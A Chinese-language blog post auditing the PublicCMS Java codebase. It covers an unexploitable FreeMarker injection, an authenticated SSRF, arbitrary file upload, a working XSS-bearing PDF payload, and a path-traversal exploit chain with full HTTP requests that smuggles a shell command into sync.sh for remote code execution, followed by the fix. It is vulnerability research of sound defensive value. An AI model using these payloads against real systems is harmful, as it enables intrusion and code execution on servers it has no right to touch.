从publiccms学习java代码审计
真爱和自由 发表于 四川 历史精选 2014浏览 · 2024-08-25 18:02

publiccms代码审计

前言

看到网上几乎没有审计这个系统的,比较全的文章,于是决定自己跟着iusse去审计一遍
官方手册

https://www.publiccms.com/guide/628.html

环境搭建

下载源码,导入idea,然后把里面的pom.xml文件加载了,加载后,像如图配置就好了

然后在boot.SpringBootApplication文件里面改一下启动的端口

mysql创建一个数据库就ok了

审计结果

api接口方法GetTemplateResult导致freemaker模板注入思路审计

public Object execute(List<TemplateModel> arguments) throws TemplateModelException {
    String template = getString(0, arguments);
    if (CommonUtils.notEmpty(template)) {
        template = "<#attempt>" + template + "<#recover>${.error!}</#attempt>";
        try {
            return FreeMarkerUtils.generateStringByString(template, configuration, null);
        } catch (Exception e) {
            return e.getMessage();
        }
    }
    return null;
}

跟进generateStringByString方法

public static String generateStringByString(String templateContent, Configuration configuration, Map<String, Object> model)
        throws IOException, TemplateException {
    Template tpl = new Template(null, templateContent, configuration);
    StringWriter writer = new StringWriter();
    tpl.process(model, writer);
    return writer.toString();
}

可以是看到是直接拿去freemaker模板解析了,但是我们看看Configuration

public GetTemplateResultMethod() {
    configuration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
    configuration.setDefaultEncoding(CommonConstants.DEFAULT_CHARSET_NAME);
    configuration.setURLEscapingCharset(CommonConstants.DEFAULT_CHARSET_NAME);
    configuration.setTemplateUpdateDelayMilliseconds(0);
    configuration.setAPIBuiltinEnabled(false);
    configuration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
    configuration.setLogTemplateExceptions(false);
    configuration.setBooleanFormat("c");
    configuration.setTemplateLoader(new StringTemplateLoader());
    Map<String, Object> freemarkerVariables = new HashMap<>();
    freemarkerVariables.put("null", CommonConstants.BLANK);
    try {
        configuration.setAllSharedVariables(new SimpleHash(freemarkerVariables, configuration.getObjectWrapper()));
    } catch (TemplateModelException e) {
    }

setAPIBuiltinEnabled(false):禁用了Freemarker的API内置功能,减少了潜在的攻击面,使得模板不能直接访问Java API。这是一个重要的安全措施。

setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER):这行代码阻止了模板访问Java类,防止了通过Freemarker模板执行任意Java代码的风险。这是一个关键的安全配置。

导致不能利用

api接口方法getHtml 导致ssrf

这里因为第一次审计这种api类型,讲详细一点

首先在路由处有我们的api

其中涉及到我们api方法的调用是MethodController

name应该是我们的方法名称,然后接收参数,有一个是appToken,用来鉴权的,看你是否有资格调用这个api

然后获取的应该是传给方法的参数,然后执行方法

找到方法

有这些方法,随便看一个方法,这里因为我是利用漏洞,就看到

GetHtmlMethod

注释处告诉你如何使用了

public boolean needAppToken() {
    return true;
}

可以看到调用这个api是需要鉴权的

方法主体内容

这段代码实现了一个通用的HTTP请求方法,可以根据输入参数发送GET或POST请求,并返回服务器响应的HTML内容。

它支持设置请求参数(通过 Map)、请求体(body)、以及HTTP头信息(通过 Map)。

就是可以发送http请求的意思,我们就可以思考是否有ssrf漏洞了

然后全局搜索一下这个appToken是怎么来的

其实你通过页面的探索也可以知道

在AppTokenDirective类

public void execute(RenderHandler handler, SysApp app, SysUser user) throws IOException, Exception {
    SysApp entity = appService.getEntity(handler.getString("appKey"));
    if (null != entity) {
        if (entity.getAppSecret().equalsIgnoreCase(handler.getString("appSecret"))) {
            Date now = CommonUtils.getDate();
            SysAppToken token = new SysAppToken(UUID.randomUUID().toString(), entity.getId(), now);
            if (null != entity.getExpiryMinutes()) {
                token.setExpiryDate(DateUtils.addMinutes(now, entity.getExpiryMinutes()));
            }
            appTokenService.save(token);
            handler.put("appToken", token.getAuthToken());
            handler.put("expiryDate", token.getExpiryDate());
        } else {
            handler.put("error", SECRET_ERROR);
        }
    } else {
        handler.put("error", SECRET_ERROR);
    }
    handler.render();
}

此方法用于处理应用程序的身份验证。如果 appKeyappSecret 验证成功,生成一个授权令牌并返回给客户端。

登录后台后,添加应用授权,获取appKey和appSecret

下面是aoaoaoe师傅的结论

通过/api/appToken接口通过appkey和appsecret获取apptoken

该SSRF漏洞存在于/api/method/getHtml接口的parameters参数中,通过控制参数内容可以去访问网址内容

然后还发现可以去根据我们延迟的时间去判断端口是否开放

/admin/cmsWebFile/doUpload存在任意文件上传

首先看到代码部分

@RequestMapping("doUpload")
    @Csrf
    public String upload(@RequestAttribute SysSite site, @SessionAttribute SysUser admin, MultipartFile[] files, String path,
            boolean overwrite, HttpServletRequest request, ModelMap model) {
        if (null != files) {
            try {
                for (MultipartFile file : files) {
                    String originalName = file.getOriginalFilename();
                    String suffix = CmsFileUtils.getSuffix(originalName);
                    String filepath = path + CommonConstants.SEPARATOR + originalName;
                    String fuleFilePath = siteComponent.getWebFilePath(site.getId(), filepath);
                    if (overwrite || !CmsFileUtils.exists(fuleFilePath)) {
                        CmsFileUtils.upload(file, fuleFilePath);
                        if (CmsFileUtils.isSafe(fuleFilePath, suffix)) {
                            FileSize fileSize = CmsFileUtils.getFileSize(fuleFilePath, suffix);
                            logUploadService.save(new LogUpload(site.getId(), admin.getId(), LogLoginService.CHANNEL_WEB_MANAGER,
                                    originalName, CmsFileUtils.getFileType(CmsFileUtils.getSuffix(originalName)), file.getSize(),
                                    fileSize.getWidth(), fileSize.getHeight(), RequestUtils.getIpAddress(request),
                                    CommonUtils.getDate(), filepath));
                        } else {
                            CmsFileUtils.delete(fuleFilePath);
                            model.addAttribute(CommonConstants.ERROR, LanguagesUtils.getMessage(
                                    CommonConstants.applicationContext, request.getLocale(), "verify.custom.file.unsafe"));
                            return CommonConstants.TEMPLATE_ERROR;
                        }
                    }
                }
            } catch (IOException e) {
                model.addAttribute(CommonConstants.ERROR, e.getMessage());
                log.error(e.getMessage(), e);
                return CommonConstants.TEMPLATE_ERROR;
            }
        }
        return CommonConstants.TEMPLATE_DONE;
    }

可以发现是没有对我们的文件名是没有任何限制的

跟进CmsFileUtils#upload.代码

public static String upload(byte[] data, String fileName) throws IllegalStateException, IOException {
    File dest = new File(fileName);
    dest.getParentFile().mkdirs();
    FileUtils.writeByteArrayToFile(dest, data);
    return dest.getName();
}

直接把我们的内容写入了文件

这里我们使用xss来进行测试

之后点击查看

文件件上传导致的xss漏洞

我们前面也提过上传文件的漏洞,我们知道有一种xss是pdf的xss,首先上传带xss的pdf

然后简介==点击查看

在我们的
开发-网站文件管理-上传文件-点击查POC(pdf)
我们使用通用的弹xss的pdf代码

%PDF-1.3
%忏嫌
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 4 0 R ]
>>
endobj
2 0 obj
<<
/Producer (PyPDF2)
>>
endobj
3 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/Names <<
/JavaScript <<
/Names [ (0b1781f6\0559e7f\0554c59\055b8fd\0557c4588f0d14c) 5 0 R ]
>>
>>
>>
endobj
4 0 obj
<<
/Type /Page
/Resources <<
>>
/MediaBox [ 0 0 72 72 ]
/Parent 1 0 R
>>
endobj
5 0 obj
<<
/Type /Action
/S /JavaScript
/JS (app\056alert\050\047xss\047\051\073)
>>
endobj
xref
0 6
0000000000 65535 f 
0000000015 00000 n 
0000000074 00000 n 
0000000114 00000 n 
0000000262 00000 n 
0000000350 00000 n 
trailer
<<
/Size 6
/Root 3 0 R
/Info 2 0 R
>>
startxref
445
%%EOF

替换文件内容导致rce

参考https://gitee.com/sanluan师傅的思路

在开发-文件管理-页面片段模板中,可以进行模板查找与替换,对应接口如下: 替换的请求如下: 对应代码在。 重点在,它直接进行逐行文件内容的替换。需要替换的文件由 确定。不做任何检查,可以通过在请求中指定来替换任何文件的内容。这可能会导致替换SSH公钥、计划任务等。 我们来看看后端提供的脚本执行功能。 对应代码在com.publiccms.controller.admin.sys.SysSiteAdminController#execScript 需要注意的是用来将预先写好的脚本内容复制到目录中。最后连接上脚本路径,用来执行。

所以如果能够替换脚本内容就可以导致rce

com.publiccms.controller.admin.cms.CmsTemplateAdminController#replace

public String replace(@RequestAttribute SysSite site, @SessionAttribute SysUser admin,
            @ModelAttribute TemplateReplaceParameters replaceParameters, String word, String replace,
            HttpServletRequest request) {
        if (CommonUtils.notEmpty(word)) {
            String filePath = siteComponent.getTemplateFilePath(site.getId(), CommonConstants.SEPARATOR);
            CmsFileUtils.replaceFileList(filePath, replaceParameters.getReplaceList(), word, replace);
            templateComponent.clearTemplateCache();
            logOperateService.save(new LogOperate(site.getId(), admin.getId(), admin.getDeptId(),
                    LogLoginService.CHANNEL_WEB_MANAGER, "replace.template", RequestUtils.getIpAddress(request),
                    CommonUtils.getDate(), word + " to " + replace + " in " + replaceParameters.getReplaceList().toString()));
        }
        return CommonConstants.TEMPLATE_DONE;
    }

CmsFileUtils.replaceFileList;

没有对文件类型和内容做限制和目录限制

由于我们可以在上一步中替换任何文件的内容,因此可以替换四个预定义脚本的内容,然后执行它们,从而可能导致远程代码执行(RCE)。
因此,利用此漏洞的步骤如下:

  1. 访问/admin/sysSite/execScript以执行sync.sh。这将复制sync.sh下的脚本PublicCMS/publiccms-parent/publiccms/data/publiccms/script
POST /admin/sysSite/execScript?navTabId=sysSite/script HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: http://localhost:18080
Connection: close
Referer: http://localhost:18080/admin/
Cookie: theme=; theme_name=; csrftoken=nagG0EofiBEBUgPkAO3ZHUODrtD5867I; Hm_lvt_c35e3a563a06caee2524902c81975add=1681284434,1681372182; Goland-6d468fe8=7f0149f3-a68b-4909-aff4-4831a68cc331; JSESSIONID=EBBE1DE1D5FFBD89A913A1D70DAC1E0F; PUBLICCMS_ANALYTICS_ID=f945b9f2-19bd-4c7a-8ab0-28384011ddb8; PUBLICCMS_ADMIN=1_fadb2fab-2700-4f54-a679-6e6deb1a5ad4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

_csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&command=sync.sh&parameters=
  1. 用于执行跨目录替换任何文件内容。这允许您替换 SSH 密钥或上述文件/admin/cmsTemplate/replace的内容。sh
POST /admin/cmsTemplate/replace?navTabId=placeTemplate/list HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://localhost:18080
Connection: close
Referer: http://localhost:18080/admin/
Cookie: theme=; theme_name=; csrftoken=nagG0EofiBEBUgPkAO3ZHUODrtD5867I; Hm_lvt_c35e3a563a06caee2524902c81975add=1681284434,1681372182; Goland-6d468fe8=7f0149f3-a68b-4909-aff4-4831a68cc331; JSESSIONID=EBBE1DE1D5FFBD89A913A1D70DAC1E0F; PUBLICCMS_ANALYTICS_ID=f945b9f2-19bd-4c7a-8ab0-28384011ddb8; PUBLICCMS_ADMIN=1_fadb2fab-2700-4f54-a679-6e6deb1a5ad4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

_csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&word=-echo&replace=-echo%3bopen+-a+calculator.app&replaceList%5B0%5D.path=../../script/sync.sh&replaceList%5B0%5D.indexs=0

再次访问/admin/sysSite/execScript执行sync.sh,可能造成远程代码执行(RCE)。请求包和步骤1一样。

修复

public static String getSafeFileName(String path) {
    if (CommonUtils.notEmpty(path) && path.contains("..")) {
        return path.replace("..", CommonConstants.BLANK);
    } else {
        return path;
    }
}

禁止了目录穿越

0 条评论
某人
表情
可输入 255